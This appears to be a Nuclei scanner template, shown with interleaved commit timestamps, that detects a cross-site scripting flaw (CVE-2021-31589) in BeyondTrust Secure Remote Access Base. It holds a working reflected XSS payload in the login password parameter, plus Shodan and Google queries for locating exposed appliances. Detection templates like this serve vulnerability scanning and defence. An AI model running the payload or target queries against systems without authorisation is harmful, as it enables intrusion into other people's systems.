2022-01-05 13:09:53 +00:00
id : CVE-2021-31589
info :
2022-08-29 13:55:23 +00:00
name : BeyondTrust Secure Remote Access Base <=6.0.1 - Cross-Site Scripting
2022-01-05 13:09:53 +00:00
author : Ahmed Abou-Ela
severity : medium
2022-08-29 13:55:23 +00:00
description : BeyondTrust Secure Remote Access Base through 6.0.1 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade to a patched version of BeyondTrust Secure Remote Access Base (6.0.2 or higher) that addresses the XSS vulnerability.
2022-04-22 10:38:41 +00:00
reference :
- https://packetstormsecurity.com/files/165408
- https://cxsecurity.com/issue/WLB-2022010013
- https://beyondtrustcorp.service-now.com/csm?sys_kb_id=922d0ab31bc1b490e73854ae034bcb7b&id=kb_article_view&sysparm_rank=1&sysparm_tsqueryId=64fc14ffdb8f70d422725385ca9619cb
2022-05-17 09:18:12 +00:00
- https://www.beyondtrust.com/docs/release-notes/index.htm
2022-08-29 13:55:23 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-31589
2022-01-05 13:09:53 +00:00
classification :
2022-05-17 09:18:12 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-01-05 13:09:53 +00:00
cve-id : CVE-2021-31589
cwe-id : CWE-79
2023-10-14 11:27:55 +00:00
epss-score : 0.00286
2023-10-29 11:57:59 +00:00
epss-percentile : 0.6525
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:o:beyondtrust:appliance_base_software:*:*:*:*:*:*:*:*
2022-01-05 13:09:53 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : beyondtrust
product : appliance_base_software
2023-09-06 12:09:01 +00:00
shodan-query: 'set-cookie : nsbase_session'
google-query : '"BeyondTrust" "Redistribution Prohibited"'
2022-08-27 04:41:18 +00:00
tags : xss,packetstorm,cve,cve2021,beyondtrust,bomgar
2022-01-05 13:09:53 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-01-05 13:09:53 +00:00
- method : GET
path :
- "{{BaseURL}}/appliance/login.ns?login%5Bpassword%5D=test%22%3E%3Csvg/onload=alert(document.domain)%3E&login%5Buse_curr%5D=1&login%5Bsubmit%5D=Change%20Password"
matchers-condition : and
matchers :
- type : word
part : body
words :
- '<svg/onload=alert(document.domain)>'
- 'bomgar'
2023-07-11 19:49:27 +00:00
case-insensitive : true
2022-01-05 13:09:53 +00:00
condition : and
- type : status
status :
- 200
2023-10-29 15:59:44 +00:00
# digest: 490a0046304402207146d7ef1bd33b549deac55895262979f0102b3f8a3c8148a19067dbb886de10022076fdb96b3cc1a4828243d62fe0d873bf0ddac2fd0c38e1ae1f2f97d13abcb620:922c64590222798bb761d5b6d8e72950